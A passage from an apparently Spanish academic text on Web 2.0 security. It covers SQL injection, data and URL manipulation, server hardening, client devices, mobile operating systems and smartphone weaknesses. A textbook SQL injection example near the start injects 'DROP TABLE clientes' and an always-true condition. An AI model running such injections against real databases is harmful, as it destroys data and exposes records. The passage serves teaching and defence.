PERFIL DEL ATACANTE : el atacante deberá tener conocimientos de SQL.
GRAVEDAD DEL ATAQUE : el ataque puede ir desde obtener información de un simple usuario
hasta poder provocar una DoS.
EJEMPLOS TÉCNICOS : para llevar a cabo este ataque se trata de modificar las sentencias SQL
cerrando los parámetros de manera que el lenguaje lo entienda; para entender esto mejor
vamos a poner un ejemplo.
Por ejemplo el programador puede usar la siguiente sentencia:
SELECT * FROM clientes WHERE apellidos = ‘González Pérez‘;
Esta sentencia de SQL, se trata de una consulta que nos devolvería todos los clientes que se
apelliden González Pérez.
La manera de inyectar código SQL se haría así:
SELECT * FROM clientes WHERE apellidos = ‘González Pérez‘;

DROP TABLE clientes;
SELECT * FROM datos WHERE ‗-‗ = ‗-‗;
La BD primero seleccionaría los clientes con ese apellido, luego borraría toda la tabla de
clientes y seleccionaría datos que quizá no estén disponibles para los usuarios normales.
Otro tipo de sentencias de inyección de SQL pueden ser las del tipo si ‗nombre =
nombre‘ entonces muéstrame la tabla tal. En esas sentencias básicamente le dices a SQL si
TRUE entonces… es decir que siempre se va cumplir y siempre vamos a poder ejecutar el
código que queramos.
10. Código fuente pobre

El software puede estar lleno de agujeros de seguridad si al ser desarrollado se ha descuidado
la codificación en él. Simples cosas que aprendemos cuando nos formamos en programación
como que los atributos de una clase deben ser PRIVATE y no PUBLIC pueden llevar en un
futuro o bien a simples molestias, donde ciertas funcionalidades no hagan los correcto o bien
pueden llevar a tener que rediseñar el software entero ya que tiene grandes vulnerabilidades
que no son posibles de corregir si no es de base. En una Web 2.0 al incluir pluggins con ciertas
aplicaciones de música, fotografía, blogging, etc. habrá que tener cuidado para que no haya
manera de penetrar en el sistema por alguna de ellas que es lo que se llama shrink-wrapped
code (códigos empaquetados), es decir utilizar diferentes componentes precompilados en el
desarrollo de aplicaciones o desarrollo web.
Página 130
sociales
Quizá este tema es más a alto nivel que la simple seguridad en lo que es un servidor Web 2.0
así que hablaremos más delante de ello.
11. Ataques por manipulación de datos

DESCRIPCIÓN : este tipo de ataques trata de enviar solicitudes a una Web con datos
introducidos manualmente para generar un contexto inesperado.
PERFIL DEL ATACANTE : nivel de conocimientos medio.
GRAVEDAD DEL ATAQUE : el ataque puede ser grave dependiendo de la información que se
manipule; podría considerarse grave si afecta directamente a los datos de algún usuario.
EJEMPLOS TÉCNICOS : el protocolo HTTP que usa para las comunicaciones vía Web junto a
otros, permite hacer solicitudes de las siguientes maneras:
Cookies
Formularios (solicitudes POST)
Mediante las direcciones URL
Encabezados HTTP (solicitudes GET)
Todos estos datos se pueden manipular por el usuario pos lo que no se pueden considerar
fiables, es decir, no podemos basar la seguridad en las verificaciones del cliente. Es
importante también establecer una conexión SSL41, pero aún con una conexión segura no
podemos asegurarnos que no se manipulen los datos enviados ya que este tipo de conexión
solo evita que la información desde el cliente a la Web viaje por la red de manera confidencial.
Para evitar que se manipulen estos datos al diseñar los formularios se deberán establecer
datos con un valor máximo y mínimo de longitud, con un tipo predefinido de datos y
verificación de caracteres según el tipo de campo que corresponda.
12. Ataques de manipulación de URL

DESCRIPCIÓN : este ataque se basa en manipular la URL para poder así tener acceso a páginas
a las cuales no se tenía acceso.
PERFIL DEL ATACANTE : nivel de conocimientos medio.
GRAVEDAD DEL ATAQUE : el ataque puede ser grave dependiendo de la información que se
manipule. Si afecta a datos de usuario directamente, como la pasword podría considerarse
grave.
EJEMPLOS TÉCNICOS : para entender mejor de que se trata este ataque vamos a explicar de qué
está compuesta la URL.
41
SSL o Secure Sockets Layer (Protocolo de Capa de Conexión Segura) es un protocolo que proporciona comunicaciones seguras
en Internet a la hora de autenticar usuarios y mantener la privacidad de la información sirviéndose para ello de técnicas
criptográficas
Página 131
sociales
La URL o Uniform Resource Locator (Localizador Uniforme de Recurso) es una cadena de

caracteres ASCII con un formato estándar que nombra los recursos solicitados (imágenes,
documentos, videos…) en Internet.
El formato es el siguiente: protocolo://máquina/directorio/archivo
Protocolo: lenguaje para comunicarse en la red; el más habitual es HTML que

proporciona el intercambio de página en HTML. Otros protocolos muy usados son
FTP, News, Mailto, etc.
Máquina: IP o DNS donde se aloja el servidor solicitado.
Ruta de acceso al recurso: indica la ruta de acceso donde se encuentran los
archivos que como podemos ver por norma general es el directorio y el archivo.
La ruta anterior es la ruta habitual pero se pueden añadir más datos:

protocolo://usuario:contraseña@máquina:puerto/directorio/archivo
Usuario y Contraseña: se pueden introducir este tipo de parámetros para

especificarle al servidor el nombre de usuario y contraseña de acceso. Este recurso
es muy poco usado ya que la contraseña se puede ver en claro en la URL cosa que
no es nada recomendable, ya que no viaja segura por la red.
Puerto: el puerto por defecto es el 80, por lo que si no le indicamos nada
identificará éste el cliente. El puerto indica el número asociado a un servicio que le
indicará al servidor que recurso se solicita.
Adicionalmente tras indicar el directorio se pueden enviar parámetros al servidor. Por ejemplo
si tuviéramos esta dirección http://www.google.es/foro/?cat=1&page=2, al incluir la
interrogación tras el nombre de archivo le estaríamos enviando parámetros al servidor.
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sociales
10.4.4. Protección frente ataques

Realmente son los administradores los que tienen la ardua tarea de proteger los servidores y
no es fácil, porque esta seguridad va desde la seguridad física de las máquinas, pasando por
evitar las intrusiones a las BBDD del servidor hasta proteger el software y las aplicaciones de la
Web. En este punto nos vamos a referir concretamente a la seguridad de los servidores.
¿Cómo podemos proteger los servidores Web? Veamos algunas ideas que requieren un
mantenimiento continuado de los servidores.
Los servidores deberán tener instalado tanto a nivel de host como de red aplicaciones de
protección como software de antivirus y cortafuegos. También es importante instalar
sistemas de detección de intrusos que se tratará de dispositivos hardware y software que
supervisan el acceso a través de la red y desde el servidor; para estos sistemas es importante
que la generación de logs de la actividad de los servidores de manera continuada, es decir,
registrar toda la actividad del sistema y realizar una rutina regular explorando esos registros
para ver los posibles problemas que puedan surgir en las máquinas, actividades sospechosas,
recursos malgastados, etc. una labor de investigación continuada.
Es importante preocuparse también de la estructura física de la red, es decir, la ubicación de

los servidores, los routers, los host, etc. Habrá que separar los servidores para uso interno de la
intranet de los que son para uso externo, es decir, a los que accederán directamente los
usuarios de nuestra Web 2.0. Esto evita que si se produce un ataque exitoso a una de las dos
partes, se pueda evitar que se tenga acceso a la otra.
Deberemos establecer políticas de seguridad estrictas en los servidores. Crear cuentas de

usuario con permisos específicos y estrictos que se deberán revisar de vez en cuando para
evitar problemas de seguridad. Habrá que habilitar servicios y funcionalidades del servidor
que sean exclusivamente necesarios, así como apertura de protocolos y puertos. Deberemos
también ocultar toda la información posible de los servidores, evitando cosas como por
ejemplo que se pueda obtener información de los servidores con las cabeceras HEAD o POST
de los navegadores, el código fuente de la web, evitar que se muestre información privilegiada
por la url, etc.
Un punto importante es mantener los sistemas actualizados, tanto a nivel de software como
hardware. Si por ejemplo usamos algún sistema operativo con Windows o Linux, o
aplicaciones específicas del servidor por ejemplo programas de IBM o sistemas de BBDD por
ejemplo Oracle bajo SQL, es importante que actualicemos de manera constante estos
servicios con los últimos parches de seguridad así evitaremos tener agujeros de seguridad y
vulnerabilidades innecesarias.
Los mensajes de error que aparezcan en nuestra web se deberán resolver de manera
inmediata. Ciertos mensajes como el típico error 404 debido al típico link roto podrían revelar
más información de la que aparentemente se ve, información de cómo están configuradas las
aplicación, bibliotecas que se usan, conexiones a las bases de datos, etc.
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sociales
Deberemos hacer una exploración de vulnerabilidades de nuestros servidores de manera

habitual ya que así podemos descubrir problemas de los servidores que no conocíamos. Para
ver los posibles agujeros de seguridad que afectan a nuestras máquinas, lo mejor es que
tengamos monitorizadas nuestras máquinas dentro de la empresa y que probemos los
posibles ataques para ver si nuestros firewalls, antivirus, antimalware y proxys son capaces de
pararlos. Tenemos herramientas en la red para exploración de vulnerabilidades como Nessus
(programa gratuito) muy útiles, y podemos usar también otras aplicaciones como sniffers o
escaneadores de vulnerabilidades para ver los posibles agujeros del sistema.
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Capítulo 11
Hardware y Software del Cliente
11.1. Introducción
Podemos conectarnos a la Web 2.0 desde diferentes dispositivos, no solo desde nuestro
ordenador de casa o portátil.
El problema que surge con estos dispositivos como los móviles o las PDAs (Personal Digital
Assistant) es que requieren una tecnología distinta para este tipo de aplicaciones 2.0 ya que la
situación desde la que nos conectamos es diferente, la velocidad de conexión es menor, la
resolución de la pantalla es diferente, etc.
La primera clasificación de los dispositivos en la parte del cliente la podemos hacer a nivel de
Hardware podemos destacar:
Ordenadores de sobremesa y portátiles

Tablet PC
o Ultra Mobile PC
o Dispositivos Tablet PC:
 IPad
 iFreeTablet
 WePad
Dispositivos móviles
o Dispositivo móvil de Datos Limitados: Teléfonos móviles
o Dispositivo móvil de Datos Básicos: Teléfonos inteligentes (Smartphones)
 Dispositivos Smartphone:
Iphone
HTC
BlackBerry
Palm Pre/Pixi
o Dispositivo móvil de Datos Mejorados: PDA, PocketPC
Videoconsolas
o Dispositivos videoconsola:
 Sony PSP (PlayStation Portable)
 Nintendo DSi
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 Play Station
 Nintendo Wii
El Tablet PC se trata de un dispositivo entre ordenador portátil y smartphone, por lo que no

podemos incluirlo ni en uno ni en otro. El PC Ultra Móvil es un Tablet PC pequeño, por lo que
lo incluimos dentro de la gama de los Tablet PC.
Tanto los ordenadores portátiles como los Tablet PC se tratan de dispositivos móviles
también.
Las videoconsolas las incluimos también en nuestra lista ya que aunque no son dispositivos
creados para conectarnos a este tipo de Webs, podríamos acceder a ellas desde estos
dispositivos, es decir, requerirán de un sistema operativo y tecnología diferentes para acceder
a estos portales.
La segunda clasificación que podemos hacer de los dispositivos en la parte del cliente es según
el tipo de Software. Cada uno de estos dispositivos a nivel de cliente lleva incorporado un
sistema operativo y tenemos una gran variedad de sistemas operativos en el mercado; vamos
a destacar los sistemas operativos tanto para ordenadores como para dispositivos móviles que
lideran hoy día el mercado:
Microsoft Windows
Mac OS X
Linux/Unix
iOS (IPhone, iPod touch, IPad)
Android (HTC, Google Nexus One, T-Mobile, Qualcomm, Motorola, etc.)
BlackBerry OS
WebOS (Palm)
Windows Phone (HTC, PDAs, etc.)
Symbian OS (Dispositivos Nokia)
A parte de los diferentes sistemas operativos para conexión a internet que existen hoy en día,
destacamos los navegadores principales que existen hoy en día para conectarnos a la Web
2.0.
Internet Explorer
Google Chrome
Mozilla Firefox
Safari
Opera
Netscape
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sociales
11.2. Hardware
Vamos a echar un vistazo a los dispositivos desde los que nos podemos conectar a las Webs
2.0.
11.2.1. Ordenadores de sobremesa y portátiles

Nos basta con una simple conexión a internet ya sea directamente por cable Ethernet o por
wireless para tener acceso a los portales 2.0 desde cualquier navegador habitual.
Ilustración 23. Ordenador portátil y ordenador de sobremesa.
11.2.2. Tablet PC
El Tablet PC es ordenador portátil con pantalla táctil. Está a caballo entre un ordenador y un
dispositivo móvil.
Algunos ejemplos de estos son el IPad, iFree Tablet, Wepad o Chrome OS tablet.
El máximo exponente en la historia del tablet pc a sido el IPad de Apple con diferencia tanto
en número de ventas como en el aspecto tecnológico en lo que respecta hoy en día. Se trata
del primer ordenador táctil en contar con internet ya que incorpora tecnología Wi-Fi y 3G.
Ilustración 24. Ipad.
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Al Ipad le están surgiendo varios competidores. En concreto Google sacará a la venta su nuevo
tablet pc llamado Chrome OS Tablet que tiene la característica de poder ejecutar varias
aplicaciones a la vez, algo que ha sido criticado en el caso del IPad ya que este no lo hace. Este
tablet estará fabricado por HTC, la misma empresa que desarrolló el Nexus One.
Ilustración 25. Chrome OS Tablet.
Otra alternativa al IPad son WePad basado en Android y con un coste inferior al IPad hecho
por la empresa alemana Neofonie y que incorpora algunas utilidades que no tiene IPad como
Webcam, lector de tarjetas y modem UMTS.
Ilustración 26. WePad.
Finalmente podemos hablar de iFree Tablet o el “iPad andaluz” se trata de un tablet pc

desarrollado por EATCO de la Universidad de Cordoba la FREE (Fundación Red Especial
España) y la AETAP (Asociación de Entidades de Tecnología de Apoyo para la Autonomía
Personal) en colaboración con las empresas tecnológicas CPMTI S.L. y CIMA S.L. (Centro de
Innovación Multimedia y Animación).
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sociales
Está orientado a la usabilidad y a la accesibilidad principalmente, para que adultos y niños que
no han manejado un ordenador nunca, lo sepan utilizar e incorpora herramientas para
discapacitados y programas educativos.
Ilustración 27. Ilustración 29. IFree Tablet.
11.2.2.1. Ultra Mobile PC

El Ultra Mobile PC (UMPC) se trata de un tablet pc pero de proporciones pequeñas, con un
tamaño de pantalla máximo de 20 centímetros y con pantalla táctil como su hermano mayor.
Estos pueden poseer teclado o ser completamente táctiles.
Se desarrollo entre Microsoft, Intel y Samsung entre otros. Los sistemas operativos que usa
son Windows XP Tablet PC Edition 2005, Windows Vista Home Premium Edition y Linux.
Ilustración 28. Ultra Mobile PC..
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sociales
Algunos productos en el mercado del UMPC son:
Ahtec Tiny UMPC X70GT

Asus R2E Windows Vista UMPC 100 GB
Samsung Q1 Ultra UMPC 600Mhz
Acer Aspire One
Fujitsu U810 y U820
Ben NanoNote
11.2.3. Dispositivos móviles
11.2.3.1. Dispositivo móvil de Datos Limitados: Teléfonos móviles

Son los teléfonos móviles más básicos, algunos de ellos poseen conexión a internet pero con
tecnologías muy limitadas, por lo que su uso para los portales 2.0 es muy limitado.
11.2.3.2. Dispositivo móvil de Datos Básicos: Teléfonos inteligentes (Smartphones)

Los teléfonos inteligentes o smartphones se tratan de teléfonos móviles pero con
características orientadas a los ordenadores. Normalmente son táctiles y tienen conexión a
internet por diferentes tecnologías (3G, Wi-Fi, WAP, GPRS, EDGE, EvDO, HSD, HSDPA, etc.).
Algunas de las funcionalidades que incorporan son configuración de varios buzones de correo
electrónico, exportar contactos de Outlook, instalación de programas adicionales, etc.
La mayoría de estos teléfonos tienen una aplicación desarrollada para cada portal 2.0. Es así
que tenemos una aplicación para Facebook, Tuenti, Youtube, Twitter, aplicaciones de Google,
etc.
Los smartphones más renombrados son IPhone, BlackBerry y Nexus ONE. Otro ejemplos clave
son HTC, Palm Pre/Pixi, Nokia serie E, Nokia serie N, Motorola serie MOTO Q.
El IPhone se trata de un smartphone desarrollado por Apple y su sistema operativo es iOS. El

primer IPhone salió al mercado en junio de 2007. Es táctil con conexión a Internet y una
interfaz minimalista.
Página 140
sociales
El último modelo, el IPhone 4, incorpora cámara de fotos para foto y video HD, reproductor de
música IPod, videollamada y la capacidad de ser un teléfono multitarea. Todas las
aplicaciones 2.0 que deseemos tener las podemos descargar de la tienda de Apple, la App
Store. El próximo modelo de IPhone saldrá a finales del 2011.
Ilustración 29. IPhone 3GS.
La BlackBerry es un teléfono inteligente desarrollado por Research In Motion (RIM) de

Canadá y su sistema operativo es Blackberry OS que es multitarea. Incluye las típicas
funcionalidades de los smartphones al igual que el IPhone, pero es conocido este teléfono por
la funcionalidad de enviar y recibir correo de internet desde las compañías de Blackberry que
dan este servicio. El primer teléfono Blackberry salió al mercado en 1999.
Ilustración 30. BlackBerry.
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sociales
El Nexus One es el primer teléfono inteligente que desarrolla Google y está desarrollado por
HTC Corporation de Taiwan. Su sistema operativo es Android. Salió al mercado en enero de
2010.
Ilustración 31. Nexus ONE.
El Palm Pixi es un teléfono inteligente desarrollado por Palm y su sistema operativo es el

WebOS. Salió al mercado en diciembre de 2009 en Estados Unidos.
Ilustración 32. Palm Pixi.
Todos estos teléfonos inteligentes incorporan aplicaciones 2.0 diseñadas específicamente

para cada uno ya cada la tecnología es diferente para cada marca.
11.2.3.3. Dispositivo móvil de Datos Mejorados: PDA, PocketPC

La personal digital assistant o PDA se trata de ordenador de mano. En un principio se
desarrollaron como una agenda de mano pero hoy en día tienen muchas características
similares a las de un ordenador de sobremesa.
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sociales
Estos dispositivos tienen pantalla táctil, suelen incorporar tecnologías como Infrarrojos,
Bluetooth, Wi-Fi o GPS. Algunas de ellas permiten navegar por internet y sincronización de
correo electrónico.
Ilustración 33. PDA desarrollada por ACER.
Existen múltiples sistemas operativos y dispositivos que compiten en este mercado. Podemos
ver sistemas operativos como Android, Windows Mobile, iOS, Palm OS, Pocket PC, Symbian
OS, Linux, etc.
Podría decirse que la evolución de las PDAs desde cuando eran simplemente agendas a lo que
son hoy en día hace que la línea entre PDA y smartphone sea realmente pequeña, muchos de
estos dispositivos se podría considerar que están en ambos bandos.
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sociales
11.2.4. Videoconsolas
Las videoconsolas no son dispositivos creados para poder consultar aplicaciones 2.0, pero
podemos hacerlo ya que las nuevas videoconsolas de bolsillo con conexión a Internet
permiten la conexión a estos portales ya sea desde algún navegador o desde aplicaciones.
Algunas de las nuevas videoconsolas que no son portables también permiten el acceso a la
Web 2.0.
Ilustración 34. Sony PSP.
Algunas de las videoconsolas con estas funcionalidades son Sony PSP (PlayStation Portable),
Play Station, Nintendo DSi o Nintendo Wii.
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sociales
11.3. Software
11.3.1. Sistemas Operativos
11.3.1.1. Desarrollo de los sistemas operativos enfocado a la Web 2.0

Los smartphones han permitido a los usuarios poner a disposición de éstos, información en
tiempo real en todo tipo de lugares y situaciones. El desarrollo de estas tecnologías para los
teléfonos inteligentes ha ido de la mano de las redes sociales y de cómo éstas han cambiado la
forma de comunicarnos en el mundo. Esta comunicación se trata de una comunicación en
tiempo real; esto permite que los usuarios que se interconecten mediante sus teléfonos
móviles independientemente del desarrollador del dispositivo o del sistema operativo, son
logros de la nueva era de la tecnología digital que busca una adaptación automática de estos
dispositivos móviles al entorno actual del usuario.
En el año 2006 nació el proyecto MUSIC de la Unión Europea. El proyecto nació con la idea de
proveer tecnología para el desarrollo de aplicaciones para móviles innovadoras cuando nadie
hablaba de Android o de Iphone, una auténtica revolución en el día a día de las personas.
MUSIC se trata de un middelware, es decir, un conjunto de programas que se instalan en
cualquier dispositivo móvil independientemente del sistema operativo haciendo posible el
funcionamiento de aplicaciones. A nivel de usuario es completamente transparente. El éxito
de este proyecto se debe a la innovación y a la posibilidad de trabajar en un entorno de código
abierto.
Se han desarrollado determinadas aplicaciones muy útiles unidas a este proyecto. Por
ejemplo la aplicación PRM para personas con discapacidad física que permitan moverse con
seguridad en las redes de transporte público de otros países o lugares que desconozcan. Otra
aplicación llamada Travel Tourist Assistant que sirve de guía turística para los viajeros con
información necesaria en tiempo real. Existe otra aplicación llamada Instant Social que se
trata de una aplicación que permite a los usuarios crear su propio chat compartiendo
contenidos y fotografías. Contiene un servicio llamado Service Location Protocol que permite
entrar en contacto con servicios de otros terminales, como por ejemplo la creación de
comunidades de usuarios que puedan comunicarse entre sí sobre temas que les interesen en
tiempo real. La idea general es concebir programas que se adapten al contexto de cada
usuario en concreto. Gracias a esta idea los sistemas operativos que existen hoy en día,
podemos ver cómo han tenido un desarrollo muy enfocado a las redes sociales y a las
aplicaciones 2.0.
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sociales
11.3.1.2. Sistemas operativos más populares

Los sistemas operativos más usados42 en los smartphones son:
Symbian OS (47% del mercado).

BlackBerry OS (20% del mercado).
iOS (14% del mercado).
Windows Phone (9% del mercado).
Linux (5% del mercado).
Android (4% del mercado).
WebOS (1% del mercado).
Según otras fuentes43 a fecha de septiembre de 2010, podemos ver que los datos son
similares. El sistema operativo para smartphones más usado es Symbian OS seguido de iOS y
RIM.
Ilustración 35. Uso de los sistemas operativos de smartphones (Jun 09 – Jun 11).
Fuente: http://gs.statcounter.com/.
42
Fuente: Wikipedia a septiembre de 2010: http://es.wikipedia.org/wiki/Smartphone.
43
Fuente: StatCounter, http://gs.statcounter.com.
Página 146
sociales
Los sistemas operativos más usados44 en los ordenadores personales según StatCounter
son:
Ilustración 36. Uso de los sistemas operativos a nivel global (Jun 09 – Jun 11).
Fuente: http://gs.statcounter.com/.
Vamos a ver los principales sistemas operativos que están más relacionados con la Web 2.0.
Iremos viendo cómo todos éstos en su desarrollo han ido integrando cada vez más las redes
sociales hasta llegar al punto de ser una de las funcionalidades más importantes de los
dispositivos de estos sistemas operativos.
Symbian OS
Se trata de un sistema operativo creado por Nokia, Sony Ericsson, Psion, Samsung, Siemens,
Arima, Benq, Fujitsu, Lenovo, LG; Motorola, Mitsubishi Electric, Panasonic, Sharp, etc. Estas
empresas se unieron para crear un nuevo sistema operativo para teléfonos inteligentes que
compitiera con WebOS de Palm y Windows Mobile.
44
Fuente: StatCounter, http://gs.statcounter.com.
Página 147
sociales
El origen de este sistema operativo es EPOC32.
Ilustración 37. Symbian OS.
Nokia desarrolló un cliente llamado Social Messaging bajo Symbian OS, que integra varias
redes sociales en el mismo cliente. La idea es comunicarse con todas nuestras redes sociales a
través del mismo gestor. También hay desarrolladas otras aplicaciones para Web 2.0 como
IM+ para Skype o la aplicación Foursquare buscador de locales de ocio de amigos.
BlackBerry OS
Este sistema operativo está diseñado exclusivamente para dispositivos BlackBerry por la
empresa Research in Motion. Hay otras marcas que también hacen uso de este sistema
operativo como Siemens, HTC o Sony Ericson.
Ilustración 38. BlackBerry OS.
El desarrollo de este sistema operativo se hizo cuando aparecieron las primeras PDA en 1999.
El sistema operativo es multitarea y está orientado para uso profesional. Sus funcionalidades
esenciales son la sincronización del correo electrónico y su agenda.
El nuevo sistema operativo BlackBerry 6 presentado en el 2010 por RIM simplifica el manejo
de las redes sociales como Facebook, Twitter o MySpace y programas de mensajería
instantánea BlackBerry Messenger y Windows Live. Todas las aplicaciones sociales están
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sociales
incluidas en una sola aplicación como se puede apreciar en este video promocional de
BlackBerry OS 6
http://www.youtube.com/watch?v=plWOkI_Urwo&feature=player_embedded#!
También incluye la posibilidad de agregar feeds de RSS.
iOS
Este sistema operativo desarrollado por Apple nacido en junio de 2007 se creó originalmente
para Iphone, pero también adaptado para Ipod Touch e Ipad. Originalmente se llamaba
Iphone OS.
Ilustración 39. iOS.
Está basado en el sistema operativo Mac OS X y su núcleo está basado en Darwin BSD. Al
igual que BlackBerry está orientado más al mundo profesional, iOS y sus dispositivos están
más orientados al diseño y a la usabilidad con capacidad de sincronización de correos, agenda,
etc. al igual que BlackBerry OS.
Existen alrededor de 185.000 aplicaciones disponibles para iOS en la App Store de Apple y
muchas de ellas basadas en redes sociales. El sistema operativo iOS 4 que salió al mercado en
junio de 2010 integra principalmente las Web 2.0 YouTube y Facebook.
Según un estudio45 del pasado año por la empresa Nielsen de España el 25% de los usuarios
de las redes sociales como Facebook se conectan a estas mediante su dispositivo IPhone y
entre estos un 51% lo usa para leer mensajes, un 49% lo utiliza para enviar mensaje desde el
móvil y un 31% de los encuestados usa el teléfono para subir imágenes a las redes sociales.
Según este estudio en el primer trimestre del pasado 2009, 330.000 españoles se conectan a
45
Estudio realizado por la empresa Nielsen. http://www.celulais.com/1738/iphone-numero-uno-en-redes-sociales/
Página 149
sociales
distintas redes sociales desde el IPhone, lo que quiere decir que es el teléfono inteligente más
usado en las redes sociales por la población española.
Windows Phone
Este sistema operativo ha sido desarrollado por Microsoft Anteriormente se denominaba
Windows Mobile, más conocido todavía hoy por este nombre. Está desarrollado para
teléfonos inteligentes y también para Pocket PC.
Ilustración 40. Windows Phone.
El núcleo del sistema operativo se basa en Windows CE (sistema operativo para dispositivos
móviles de 32 bits nacido en 1994) y las aplicaciones básicas usan las API de Microsoft
Windows.
Las principales tendencias de los usuarios de Windows Mobile han sido para redes sociales y
mensajería instantánea. Como sus compañeros BlackBerry OS y iOS integra diversas
aplicaciones para diferentes portales Web 2.0 como Facebook o Twitter.
Su última versión Windows Phone 7 salió al mercado en febrero de 2010. Se puede leer en la
Web oficial de Microsoft que este nuevo sistema operativo se caracteriza por ser una
“Plataforma Móvil Social” que debe “llevar las redes sociales a la vida, mediante su integración
en las experiencias básicas”.
Android
Android ha sido desarrollado por la Open Handset Alliance (OHA) que engloba a empresas
como Google, HTC, Dell, Intel, Motorola, Qualcomm, Texas Instruments, Samsung, LG, T-
Mobile, Nvidia o Wind River Systems.
El sistema operativo está basado en Linux, depende de Linux para los servicios base del
sistema como pueden ser los de seguridad, gestión de memoria, gestión de procesos,
controladores, etc. Su código fuente está disponible bajo licencias de software libre y código
abierto. Podemos conocer acerca de su última versión Android 2.2 mediante su Web oficial
www.android.com.
Página 150
sociales
Android es un sistema operativo cuyo desarrollo estuvo plenamente enfocado a Internet, de

ahí que sus fabricantes integraran todo tipo de aplicaciones relacionadas con las redes
sociales. Si lo comparamos con el desarrollo del Symbian OS, vemos que este sistema
operativo se desarrolló previamente cuando la conexión a Internet mediante móviles estaba
muy lejos, por lo que le ha costado más ir integrando en sus teléfonos aplicaciones orientadas
a las redes sociales, tanto es así que no todos los modelos de Symbian OS vienen con las
aplicaciones de redes sociales integradas, por lo que Android parece un sistema operativo más
avanzado en este sentido.
Ilustración 41. Android.
Las aplicaciones más destacadas de Android para redes sociales son Twicca (para Twitter),
Facebook, Tuenti, Nimbuzz (programa de chat que engloba Gtalk, MSN Messenger, Skype,
Facebook chat, Yahoo, AIM, MYSpace, ICQ, StudiVZ, SchuelerVZ, Gady Gady y Hyves) y
Foursquare (nueva red social para terminales móviles).
Palm WebOS
Es un sistema operativo desarrollado por Palm hoy en día propiedad de HP. Se presento en
junio de 2009 junto al teléfono inteligente Palm Pre.
Está basado en Linux e incluye las típicas funcionalidades de los sistemas operativos para
teléfonos inteligentes como una interfaz gráfica para pantalla táctil, es multitarea, correo,
agenda, etc. Usa tecnologías como HTML 5, JavaScript, CSS, etc.
Página 151
sociales
El navegador web que incluye está basado en WebKit y es similar a Safari, Chrome o el
navegador de Android.
Ilustración 42. Palm WebOS.
El sistema operativo incluye una característica llamada “Synergy” que permite al usuario
acceder a sus cuentas de GMail, Yahoo!, Facebook, LinkedIn y Microsoft Oulook.
Microsoft Windows, Mac OS X y Linux/Unix

Los sistemas operativos para ordenadores personales no tienen aplicaciones propiamente
dichas para conectarnos a las redes sociales sino que lo haremos a través de los diferentes
navegadores que tenemos en el mercado, así que veremos ahora como son estos
navegadores.
Página 152
sociales
11.3.2. Debilidades de los sistemas operativos para smartphones

La necesidad de información en tiempo real y en cualquier lugar se está volviendo cada vez
más necesaria en la actualidad.
Algunas funcionalidades corporativas se extienden más allá de las empresas, permitiendo así
los teléfonos inteligentes realizar algunas actividades comunes:
Acceso al correo de la empresa.

Acceso a las aplicaciones de la empresa.
Sincronización de calendarios.
Sincronización de contactos.
Almacenamiento y edición de documentos ofimáticos.
Al ver estas actividades podemos encontrar varios puntos débiles en el sistema:
El primero de ellos viene por parte de la empresa que se trata de la

implementación de políticas de seguridad apropiadas en la empresa para estos
teléfonos.
El segundo frente es el uso que los empleados hacen de esos dispositivos. El
incorporar los teléfonos a las redes de la empresa o la información sensible que
puedan almacenar en los smartphones.
Por ultimo la debilidad viene de la mano de las redes sociales. El permitir que la
gente acceda desde la red de la compañía a las redes sociales puede ser un riesgo
para la reputación de la empresa dependiendo de si este usuario usa las redes
sociales de manera segura o no.
Viendo estos dos frentes nos surgen las siguientes dudas:
¿Cómo se pueden aplicar políticas de seguridad para los dispositivos corporativos

que incluyan información sensible o privilegiada?
¿Cuáles son los riesgos de estas tecnologías y que vulnerabilidades pueden
introducir en las empresas?
¿Entra dentro de los límites de la protección de datos de carácter personal
monitorizar estos dispositivos para que se haga un uso correcto de ellos?
¿Se conocen dentro de la organización todas las posibles tecnologías de los
smartphones con los que se trabaja? Es decir posible vulnerabilidades de
conectividad, sistemas operativos, aplicaciones, etc.
Finalmente llegamos a la conclusión de que las vulnerabilidades que puedan generar estos
teléfonos móviles provienen de las siguientes debilidades:
Debilidades relativas a la tecnología.

Debilidades relativas a las aplicaciones.
Debilidades relativas al factor humano.
Página 153
sociales
11.3.2.1. Debilidades relativas a la tecnología

Todos los smartphones tienen su sistema operativo dedicado. Ya hemos visto que hay muchas
variedades y que son muy diferentes entre ellos.
El hecho de que existan tantos sistemas operativos abre el abanico de posibilidades en cuanto
vulnerabilidades detectadas y posibles ataques, que podrían abrir nuevos agujeros de
seguridad permitiendo la ejecución de código arbitrario o denegaciones de servicio.
El principal problema de estos dispositivos viene de la autenticación. Los sistemas de control

de acceso en los smartphones es bastante débil permitiendo ingresos no autorizados a la
información de manera trivial.
Otro problema de seguridad podría ser el uso que se hace del teléfono interna y
externamente. Si los dispositivos se reciclan en la empresa, habrá que incorporar sistemas de
borrado de datos y backup para evitar fugas de información dentro y fuera de la empresa.
11.3.2.2. Debilidades relativas a las aplicaciones

Existen multitud de aplicaciones desarrolladas para cada sistema operativo que pueden
encontrar diferentes vulnerabilidades. Esto tiene un funcionamiento similar a las aplicaciones
existentes para pc.
Las vulnerabilidades también pueden venir de la mano de los navegadores, que no dejan de
ser otra aplicación más.
11.3.2.3. Debilidades relativas al factor humano

Este tercer factor es el más difícil de controlar, el más débil de la cadena de información, el
factor humano.
Si estamos jugando dentro de una organización deberemos concienciar a los empleados de lo

importante que es la autenticación segura de sus dispositivos ya que pueden existir pérdidas
de información ya sea por pérdida física del equipo, robo o ataques a nivel software a los
dispositivos móviles de la empresa.
Recomendaciones generales por parte de los usuarios:
Protección de la información sensible con claves y sistemas de autenticación

fuertes.
Evitar la intrusión de infección y distribución de código malicioso en los
dispositivos mediante políticas de seguridad y establecer sistemas de detención si
esto sucediera.
Prevención de accesos no autorizados a los smartphones.
Recomendaciones generales por parte de las empresas:
Evitar la instalación no autorizada de software en los dispositivos corporativos.

Restringir la navegación por internet a determinadas Webs.
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sociales
Permitir la descarga de correo corporativo en los dispositivos para una mayor

funcionalidad, implementando seguridad para éste.
Permitir la conexión a la red de la empresa mediante la WIFI de la empresa o
conexión por VPN desde fuera de la empresa.
No permitir el establecimiento de relaciones de confianza con equipos no
autorizados vía Bluetooth.
Evitar el abuso de la red de voz.
Evitar el abuso de la red de datos.
Evitar el almacenamiento de información no permitida como archivos de mp3,
archivos personales o de ocio, etc. si se determina necesario.
11.3.3. Vulnerabilidades de los sistemas operativos para smartphones

Vamos a ver algunas vulnerabilidades concretas que han existido en los diferentes sistemas
operativos y marcas de smartphones.
